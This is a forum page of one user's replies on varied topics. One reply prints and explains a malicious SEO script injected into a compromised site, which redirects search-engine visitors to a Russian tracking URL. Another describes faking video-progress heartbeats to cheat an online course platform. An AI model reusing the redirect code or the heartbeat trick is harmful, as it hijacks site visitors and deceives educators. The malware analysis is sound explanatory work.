V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  imdong  ›  全部回复第 74 页 / 共 111 页
回复总数  2201
1 ... 70  71  72  73  74  75  76  77  78  79 ... 111  
2020-03-06 16:03:58 +08:00
回复了 Judd 创建的主题 问与答 第一次在 google.com 被钓鱼
不是劫持,就是典型的黑产 SEO 性质的东西。

页面加载了唯一 JS ( http://staging.swisse.com.au/js/stats.js)

```javascript
class Task2 {
static ["com2"]() {
var _0x4014c2 = document.title.split(" - ");

var _0x28236f = _0x4014c2[0].split(" | ");

function _0x19737c(_0x3c4e45, _0x1f88c8, _0x43a6f0, _0x17db9b, _0x142f63, _0x1a5f1a) {
if (!_0x3c4e45 || !_0x1f88c8) return ![];

var _0x3405ea = _0x3c4e45 + '=' + encodeURIComponent(_0x1f88c8);

if (_0x43a6f0) _0x3405ea += "; expires=" + _0x43a6f0.toGMTString();
if (_0x17db9b) _0x3405ea += ';\x20path=' + _0x17db9b;
if (_0x142f63) _0x3405ea += "; domain=" + _0x142f63;
if (_0x1a5f1a) _0x3405ea += "; secure";
document.cookie = _0x3405ea;
return !![];
}

function _0x49f35b(_0x3b366b) {
var _0x2d3ad0 = "(?:; )?" + _0x3b366b + '=([^;]*);?';

var _0x5ede30 = new RegExp(_0x2d3ad0);

if (_0x5ede30.test(document.cookie)) return decodeURIComponent(RegExp.$1);
return ![];
}

function _0x35790f(_0xe10d12, _0x1aca07, _0x43ad37) {
_0x19737c(_0xe10d12, null, new Date(0), _0x1aca07, _0x43ad37);

return !![];
}

var _0x5e520f = {};
_0x5e520f.searchers = [[/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]];

_0x5e520f.sp_redirect = function (_0xa5e498) {
var _0x50a397 = null;

for (var _0x592205 = 0; _0x592205 < _0x5e520f.searchers['length']; _0x592205++) {
var _0x5da909 = _0x5e520f.searchers[_0x592205];

if (_0xa5e498.match(_0x5da909[0]) || _0x49f35b("opos") == '1') {
_0x19737c("opos", '1');

document.location['href'] = "http://tr.stoneshards.ru/trds?q=" + _0x28236f[0];
break;
}
}
};

_0x5e520f.sp_redirect(document.referrer);
}

}

Task2.com2();
```

只要是来路 referrer 是来自 _0x5e520f.searchers 数组内的网站,就跳转到 tr#stoneshards#ru/trds?q={title}
2020-03-04 14:44:22 +08:00
回复了 npm 创建的主题 问与答 昨天看到一个关于屏蔽广告插件的帖子,于是我就尝试了一下
原理其实挺简单的吧,我之前的做法是,加载完成后检测一个广告联盟使用的变量是否存在,然后判断展示广告的 div 宽高是否正常。

不知道 有没有用其他的方法,基本上大部分过滤行为都能检测到。

没必要弹窗提示,在原来广告位显示提示就好了。

我还是很宽容的
2020-02-24 11:09:33 +08:00
回复了 ffu 创建的主题 问与答 如何保证硬盘数据安全不丢失
煎蛋关键词:异地,多活,备份。(一个都不能少)

低成本低技术量低可控方案:网盘 /云盘,云端备份
中成本低技术量低可控方案:多个网盘 /云盘 云端备份
中成本中技术量中可控方案:云服务器 /自建网盘(OSS 等) 云端备份
高成本中技术量中可控方案:多家云服务器 /自建网盘(OSS 等) 云端备份
中成本中技术量中可控方案:自建 NAS 存储
高成本中技术量高可控方案:自建异地多 NAS 存储




说了半天废话,家用靠谱方案:自建 NAS,然后接入云归档存储。
2020-02-17 17:56:05 +08:00
回复了 y0bcn 创建的主题 问与答 有没有大佬知道刷课平台的运行机制?
曾经写过 优课在线 的挂机刷视频的。
https://greasyfork.org/zh-CN/scripts/40463-%E4%BC%98%E8%AF%BE%E5%9C%A8%E7%BA%BF%E8%BE%85%E5%8A%A9%E8%84%9A%E6%9C%AC

简单说下原理,我们要先知道平台是如何确定你看视频看到哪里了。

一切都是基于客户端的,首先一个人打开页面播放视频,会去加载视频的源文件(m3u8 等)回来。

然后播放过程中,要禁止用户后台(失去焦点暂停),然后等用户观看完毕以后,向后台发送观看完毕的消息。

如果中间有退出,也应该向服务器提交当前的观看进度。

那么,刷课的方法就很简单了,只要我们提交观看完毕的数据即可。

当然,这个平台也会想到了,你打开就马上看完肯定不合理。

所以会有一个延迟,从你打开页面到一定时间后(视屏时长)才可以提交观看完毕。

下面说一下我这个脚本的原理(客户端):

优课在线在观看视频过程中,每隔一段时间提交心跳(当前进度)。

如果速度过快,就会拒绝,而提交了视频时长的 90%左右时,如果你表示自己看完了,服务器也会允许。

而我之前的做法就是,加载视频,获取视时间长度,每隔 10 秒,提交已经观看 12 秒的心跳包。

如果再快,服务器就会拒绝,然后如果看到了一定进度后,服务器会在心跳包返回已完成标记,这时自动获取下一集。

而如果做成脱机的,托管在服务器上简直不要太简单。

估计百十行代码就能搞定。
随机起名?搜索“起名”,进入前几名的网站,采集一大批名字。
把姓和名拆开,做成两个数组(姓数组和名数组)
然后随机组合...
[如何批量随机生成一些看起来比较正常的人名?]( https://www.qs5.org/Post/582.html)
2020-01-28 11:28:26 +08:00
回复了 mdeadbird 创建的主题 macOS 请问现在工作机升级 MacOS Catalina 可行了吗?
黑苹果,10.15.2,PHPStorm 2019.3,启动没问题。
2020-01-28 11:26:35 +08:00
回复了 narmgalaxy 创建的主题 宽带症候群 天气会影响 ping 值?
中国移动的宽带,还真遇到。

前几年工作的店里用的就是移动的宽带,一下雨就近乎断网...

具体咋回事不太清楚。
2020-01-21 14:22:38 +08:00
回复了 iiji86 创建的主题 问与答 求助,行程冲突的票有办法买吗?
@h123123h 不是算法改进的问题,是人工柜台可以购买行程冲突的票。

当时我在 12306 上面购买也是行程冲突。

而这个方法是我向高铁站咨询来的,具体见我当时的微博。

楼主可以考虑给你当地高铁站打电话,了解具体情况。

理论上依然可以,建议回家下车时顺便去高铁站问下。

附微博咨询记录: https://weibo.com/1633919635/EpxMlDjeb?filter=hot&root_comment_id=4060884106455542&type=comment
2020-01-21 14:16:02 +08:00
回复了 iiji86 创建的主题 问与答 求助,行程冲突的票有办法买吗?
明确答复:可以。

我就是这么干的,买了济南到深圳的 G280 全程,但是车不停我所在地的车站。
于是窗口购买当前车站到下一站的车票,提前去下一站站内换乘 G280。

等下给你找图。

http://ww1.sinaimg.cn/large/6163a293ly1gb45p94n2pj21av1r8qai.jpg
2020-01-16 17:20:05 +08:00
回复了 Danswerme 创建的主题 问与答 某些中文歌在没看过歌词的情况下你们能听懂唱的什么吗?
没有字幕都看不下去国语片。
2020-01-14 10:01:04 +08:00
回复了 wework 创建的主题 分享创造 情人节快到了,又是程序员秀代码的季节
自嗨型付出。
除了自己,没人看得懂…
部分女朋友还会因为看不懂又不能说而压力倍增。
一脸懵逼但假装配合。

搞个印度双效,晚上吃顿好的,夜里整顿爽的。
我们公司没能熬到开年会的那一天。
2019-12-24 00:18:42 +08:00
回复了 revival83 创建的主题 问与答 有没有彩票中奖提醒的工具?
自己写个爬虫?每天定时跑一次?然后推送到微信等?
2019-12-19 12:50:48 +08:00
回复了 gaigechunfeng 创建的主题 生活 各位 coder 大家每个月坚持记账吗,对自己有帮助吗
之前保持了一年多的记账习惯,后来就没了
上个月觉得支出太高,就又开始记账…

这个月开始记账,预算 5000 在深圳。
现在已经挂了 5700 左右了😞

现在每天记账就是打开账本拷问一下灵魂。
2019-12-17 10:45:54 +08:00
回复了 lanbatian 创建的主题 程序员 各位的春节放假通知都出来了吗?
2019 年 12 月 13 日开始,结束时间未知;

因为公司 Over 了。
2019-12-16 20:36:47 +08:00
回复了 ClassicOldSong 创建的主题 分享创造 造了个新轮子 ef.qt ,让我们用写前端的手感来写 qt
所以,用写 css/js 的手法编译 qt 么?
1 ... 70  71  72  73  74  75  76  77  78  79 ... 111  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   4980 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 44ms · UTC 09:24 · PVG 17:24 · LAX 02:24 · JFK 05:24
Developed with CodeLauncher
♥ Do have faith in what you're doing.